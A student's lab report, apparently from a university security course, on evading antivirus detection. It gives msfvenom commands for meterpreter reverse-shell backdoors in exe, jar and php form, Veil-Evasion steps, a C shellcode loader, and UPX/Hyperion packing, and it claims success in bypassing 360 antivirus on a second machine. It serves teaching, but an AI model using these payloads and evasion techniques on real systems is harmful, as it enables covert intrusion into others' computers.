Exp3 免杀原理与实践 ——20164325王晓蕊

一、实践基本内容

1.实践目标

(1) 正确使用msf编码器(√),msfvenom生成如jar之类的其他文件(√),veil-evasion(√),加壳工具(√),使用shellcode编程(√)

(2)通过组合应用各种技术实现恶意代码免杀(√)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(√)

2.实践基础问题回答

  (1)杀软是如何检测出恶意代码的?

  • 杀软有一个病毒的特征码库,恶意代码有一些其他正常程序没有的特征码,通过识别恶意代码的特征码检测恶意代码。
  • 杀毒软件通过动态检测对象文件的行为来识别恶意代码,所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

  (2)免杀是做什么?

  • 让后门程序不被杀软检查并删掉。

  (3)免杀的基本方法有哪些?

  • 实验中的方法:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.开启杀软能绝对防止电脑中恶意代码吗?

  • 在实验中我有很深刻的体会,虽然说杀软无时无刻的在更新自己的病毒库,但是恶意代码会通过各种方式方法来躲开杀软的查杀,而且有些杀软并不是那么强,什么恶意代码都会发现;

二.实践总结与体会

在本次实验中,掌握了更多种后门程序的生成方法,也掌握了如何组合多种后门程序来实现免杀;实验中我也存在很多问题,但是最后都得以解决,受益匪浅。

三.问题分析与解决

问题一:

问题:在上传文件的时候文件名出现了问题。

解决:我就把20164325改成了4325就可以啦。

问题二:

问题:然而我没有成功安装成功。我还试了另外一种方法安装也没有成功;

 sudo apt-get install veil-evasion 安装veil-evasion

(真的等它安装完等了好长时间)

下载好之后veil开始安装,一路Y

没成功。

解决:最后我是在同学那考过来的。

问题三:

问题:用shellcode编程,生成的文件运行回连时会出现问题(打不开文件),如下:

解决:原本我打的主函数内容是:

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

出现了上面的问题后,我修改了主函数内容,新内容为:

int main()
{
     void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
     memcpy(exec,buf,sizeof buf);
     ((void(*)())exec)();
}

结果成功;

问题四:

问题:在做任务三时,桥接模式一直连接不成功;尝试过重启电脑,也没有解决。

解决:对ipv4进行了配置,结果桥接模式成功连接。

 


四.实践过程

任务一:

1.使用msf编码器,生成exe文件

1.1在实验二中使用msf生成了后门程序,我使用Virscan对生成的后门程序进行扫描,结果如下:

显然,裸奔的后门非常容易被检查出来,49个杀软有28个都检查出了它。

 1.2然后进行十次编码使用命令

1 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.113.137 LPORT=4325 -f exe > 4325wxr.exe

将编码十次后的可执行文件上传到Virscan扫描后结果如下:

结果并没有什么改变,也就是说使用msf编码器多次编码对免杀没有太大的效果

2.msfvenom生成如jar之类的其他文件

2.1 msfvenom生成jar文件

 

1 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4325 x> wxr_backdoor_java.jar 

这里我的kali的ip变了,因为是隔天做的。

我在Virscan网页下查杀出现了问题,文件名有问题,所以我就转移到VirusTota网页查,结果如下:

结果不理想。

2.2 msfvenom生成php文件

1 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4325 x> wxr_backdoor.php

结果如下:

 

3.安装并使用veil-evasion

3.1我是在同学那考过来的veil-evasion

3.2输入veil

输入 use evasion

输入命令use python/meterpreter/rev_tcp.py

设置反弹连接IPset LHOST 192.168.113.137注意此处的IP是Kali的ip

设置端口set LPORT 4325

输入generate生成文件,接着输入你想要playload的名字: veil_c_4325 

我这里用的Python却以c的命名veil_c_4325,到之后我把文件从虚拟机共享到windows的时候改了个名字,改成了veil_python_4325;下面就是我在Virscan网页下查杀的情况。

 

扫描结果49个杀软有14个检查除了它,已经比只使用msf编码器,生成exe文件要好很多了! 

4.用shellcode编程

4.1 msfvenom生成shellcode:

1 msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.113.138 LPORT=4325 -f c

4.2 创建一个文件20164325.c vim 20164325.c

 

4.3 然后将unsigned char buf[]赋值到其中,保存;

代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}

4.4 使用命令i686-w64-mingw32-g++ 20164325.c -o 20164325.exe编译.c文件为可执行文件

4.5 运行监听,结果成功:

4.6 使用VirusTota网页下检查结果:

使用Virscan网页下检查结果(更名为4325)

我开启的时候,360杀毒并没有检测到并制止我打开的这个文件。当我自定义扫描linux时,也只是扫描出来了java那个文件。

5.加壳

 5.1 使用压缩壳UPX,给之前的20164325.exe加个壳得到wxr_ke.exe:

 Upx 20164325.exe –o wxr_ke.exe 

5.2 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

方法一:用了shellcode编程+加壳混合的方法(成功免杀)

就是用任务一的两种方法进行混合,因为是在一次实验,所以我更改了名称(4325_upx.exe)。

使用360杀毒查杀,定向查杀linux文件夹中的文件,共存!

反弹连接:

方法二:用了shellcode编程+加壳+加密壳hyperion混合的方法(没成功免杀)

加密壳hyperion方法:

1.将之前生成的4325.c文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中

2.进入目录 /usr/share/windows-binaries/hyperion/3. 输入命令 wine hyperion.exe -v 4325.c 4325_upx_hyperion.exe 进行加壳;

没有实现反弹连接;

找原因时,我先检测了原文件有没有问题(结果可以实现反弹连接),我在检查了方法一只加一层压缩壳的情况下有没有问题(结果可以实现反弹连接),然后我再检验4325_upx_hyperion.exe(不能实现反弹连接)。

 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

方法:先把kali的网络配置器改为桥接模式,获取对方电脑的ip,并实现与另一台电脑的连接(ping),在按照任务一中的方法生成个后门程序,我是用的shellcode编译了一个.c文件,然后编译生成了一个.exe文件(名为20164325wxr),进行攻击(这里要注意ip要填对);生成后门程序后nc传输到对方电脑,在对方电脑杀软打开的情况下进行回连;成功!

 杀软版本:


 

posted on 2019-03-30 20:27  我最酷ccc  阅读(227)  评论(0编辑  收藏  举报